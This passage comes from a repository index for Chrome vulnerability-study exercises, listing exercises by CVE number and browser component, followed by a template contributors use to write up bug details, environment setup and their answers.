43 | | [LEVEL_2/exercise_2](LEVEL_2/exercise_2) | **CVE-2021-21122** | Blink |
44 | | [LEVEL_2/exercise_3](LEVEL_2/exercise_3) | **CVE-2021-21112** | Blink |
45 | | [LEVEL_2/exercise_4](LEVEL_2/exercise_4) | **CVE-2021-30565** | Chrome Tab |
46 | | [LEVEL_2/exercise_5](LEVEL_2/exercise_5) | **CVE-2021-21159** | Tab |
47 | | [LEVEL_2/exercise_6](LEVEL_2/exercise_6) | **CVE-2021-21190** | Chrome pdfium |
48 | | [LEVEL_2/exercise_7](LEVEL_2/exercise_7) | **CVE-2020-6422** | Blink |
49 |
50 |
51 |
52 | ## LEVEL 3
53 |
54 | | Exercise No. | CVEs | Target |
55 | | :----------------------------------------: | :----------------: | :------------------: |
56 | | [LEVEl_3/exercise_1](./LEVEL_3/exercise_1) | **CVE-2021-21226** | navigation_predictor |
57 | | [LEVEl_3/exercise_2](./LEVEL_3/exercise_2) | **CVE-2021-21224** | V8 |
58 | | [LEVEl_3/exercise_3](./LEVEL_3/exercise_3) | **CVE-2021-21223** | mojo |
59 | | [LEVEl_3/exercise_4](./LEVEL_3/exercise_4) | **CVE-2021-21207** | IndexDB |
60 | | [LEVEl_3/exercise_5](./LEVEL_3/exercise_5) | **CVE-2021-21202** | extensions |
61 | | [LEVEl_3/exercise_6](./LEVEL_3/exercise_6) | **CVE-2021-21198** | IPC |
62 | | [LEVEl_3/exercise_7](./LEVEL_3/exercise_7) | **CVE-2021-21155** | Tab |
63 |
64 |
65 | ## Original Author
66 |
67 | - [ddme](https://github.com/ret2ddme)
68 | - [lime](https://github.com/Limesss)
69 |
70 |
71 | ## How to contribute
72 |
73 | Writing your exercise follow [this](./Template.md) format.
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/Template.md:
--------------------------------------------------------------------------------
1 | # Exercise x
2 |
3 |
4 | ## CVE-xxxx-xxxx
5 | I sugget you don't search any report about it to prevents get too much info like patch.
6 |
7 |
8 | ### Details
9 |
10 | #### In level 1
11 | In level 1, you can write some describ of how the bug form. In short just ctrl+c/ctrl+v from patch, but must some useful words.
12 |
13 | **Good example**:
14 | > Prior to the patch, the validity of the execution context was only
15 | > checked on entry to the method; however, the execution context can
16 | > be invalidated during the course of parsing keyframes or options.
17 | > The parsing of options is upstream of Animatable::animate and caught by
18 | > the existing check, but invalidation during keyframe parsing could fall
19 | > through triggering a crash.
20 |
21 | **Bad example**
22 | > Use after free in Blink in Google Chrome prior to 89.0.4389.72 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
23 |
24 | #### In level 2
25 | In level 2, this part should be banned
26 |
27 |
28 | ### Set environment
29 |
30 | the way to get/download the source code, or how to compile it and others.
31 |
32 |
33 | ### Related code
34 |
35 | some related source code or file path
36 |
37 |
38 | ### Do it
39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
40 |
41 |
42 | ---------
43 |
44 |
45 | My answer
46 |
47 | [ write your answer here ]
48 |
49 |
50 |
51 | --------
52 |
--------------------------------------------------------------------------------